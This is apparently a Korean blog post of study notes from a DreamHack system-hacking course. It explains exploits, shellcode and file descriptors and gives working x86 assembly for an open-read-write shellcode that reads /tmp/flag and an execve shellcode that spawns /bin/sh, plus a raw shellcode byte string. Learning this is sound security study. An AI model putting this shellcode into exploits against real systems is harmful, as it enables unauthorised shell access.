해킹 공부/시스템 해킹

DreamHack_System hacking stage 4

O'bin 2022. 7. 11. 16:45

- 익스플로잇(Exploit) : '부당하게 이용하다'라는 뜻으로, 해킹 분야에서는 상대 시스템을 공격하는 것을 말함

 

- 셸코드 : 익스플로잇을 위해 제작된 어셈블리 코드 조각. 일반적으로 셸을 획득하기 위한 목적으로 셸코드를 사용

셸코드 공유 사이트 : http://shell-storm.org/shellcode/

 

셸코드는 공격을 수행할 대상 아키텍처와 운영체제에 따라, 셸코드의 목적에 따라 다르게 작성해야 함

=> 따라서 직접 상황에 맞추어 작성하는 것이 제일 좋음

 

 

 

- orw(open-read-write) 셸코드

파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드

 

“/tmp/flag”를 읽는 동작을 하는 c언어 코드

 

line3) int fd = open(“/tmp/flag”, O_RDONLY, NULL)

1
2
3
4
5
6
7
8
push 0x67
mov rax, 0x616c662f706d742f 
push rax        ; 0x616c662f706d742f67(/tmp/flag) push
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
cs

 

line4) read(fd, buf, 0x30)

1
2
3
4
5
6
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
cs

syscall의 반환 값은 rax로 저장됨 => 1번에서 open으로 획득한 /tmp/flag의 fd는 rax에 저장되어있음

 

- fd란?

파일 서술자(File Descriptor, fd).  

유닉스 계열 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자

프로세스마다 고유의 서술자 테이블을 갖고 있고, 그 안에 여러 파일 서술자를 저장

서술자는 각각 번호로 구별되는데, 일반적으로

0번은 일반 입력(Standard Input, STDIN),

1번은 일반 출력(Standard Output, STDOUT),

2번은 일반 오류(Standard Error, STDERR)에 할당

이들은 프로세스를 터미널과 연결해줌

=> 키보드 입력을 통해 프로세스에 입력을 전달, 출력을 터미널로 받을 수 있음

프로세스 생성 후, open같은 함수를 통해 어떤 파일과 프로세스를 연결하려고 하면, 기본으로 할당된 2번 이후의 번호를 새로운 fd에 차례로 할당. 그러면 프로세스는 그 fd를 이용하여 파일에 접근할 수 있음

 

사용되는 레지스터

rsi - 메모리를 이동하거나 비교할 때 출발주소을 가리키는데 사용

rdi- 메모리를 이동하거나 비교할 때 목적지 주소를 가리키는데 사용 

rdx - 데이터 레지스터로 연산 수행할 때 rax 와 많이 사용함

 

 

line5) write(1, buf, 0x30)

1
2
3
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)
cs

 

컴파일 후 실행

 

 

 

 

- execve 셸코드

임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버의 셸을 획득할 수 있음

 

1
2
3
4
5
6
7
8
9
;Name: execve.S
 
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)
cs

 

objdump 를 사용하여 asm 파일을 bytecode(opcode)로 변환

objdump란?

더보기

objdump는 GNU 바이너리 유틸리티의 일부로서, 라이브러리, 컴파일된 오브젝트 모듈, 공유 오브젝트 파일, 독립 실행파일등의 바이너리 파일들의 정보를 보여주는 프로그램이다. objdump는 ELF 파일을 어셈블리어로 보여주는 역어셈블러로 사용될 수 있다.

 

execve /bin/sh shellcode: "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"